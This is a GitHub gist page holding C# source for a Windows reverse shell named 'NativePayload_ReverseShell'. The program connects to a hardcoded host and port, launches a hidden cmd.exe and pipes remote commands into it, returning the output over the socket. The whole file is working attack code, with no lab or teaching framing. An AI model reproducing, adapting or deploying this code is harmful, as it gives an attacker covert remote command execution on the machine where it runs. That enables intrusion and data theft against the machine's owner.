Skip to content

Instantly share code, notes, and snippets.

@s0d0ma
Created November 29, 2019 17:13
Show Gist options
  • Save s0d0ma/87daf32b293e9d5a5407fd665f8867a9 to your computer and use it in GitHub Desktop.
Save s0d0ma/87daf32b293e9d5a5407fd665f8867a9 to your computer and use it in GitHub Desktop.
using System;
using System.Collections.Generic;
using System.Text;
using System.Net.Sockets;
using System.Threading;
using System.IO;
using System.Diagnostics;
namespace NativePayload_ReverseShell
{
public class Program
{
static StreamWriter streamWriter;
static bool nuevo;
private static System.Timers.Timer timer;
public static void Main(string[] args)
{
timer = new System.Timers.Timer();
timer.Interval = 1500;
timer.Elapsed += OnTimedEvent;
timer.AutoReset = true;
timer.Enabled = true;
timer.Stop();
nuevo = false;
using (TcpClient client = new TcpClient("10.31.3.177", 666))
{
using (Stream stream = client.GetStream())
{
using (StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);
StringBuilder strInput = new StringBuilder();
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();
while (true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}
static void OnTimedEvent(Object source, System.Timers.ElapsedEventArgs e)
{
if (!nuevo)
{
// primera vez entrando
nuevo = true;
}
else
{
// segunda vez entrando
nuevo = false;
}
}
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
Console.WriteLine(strOutput);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment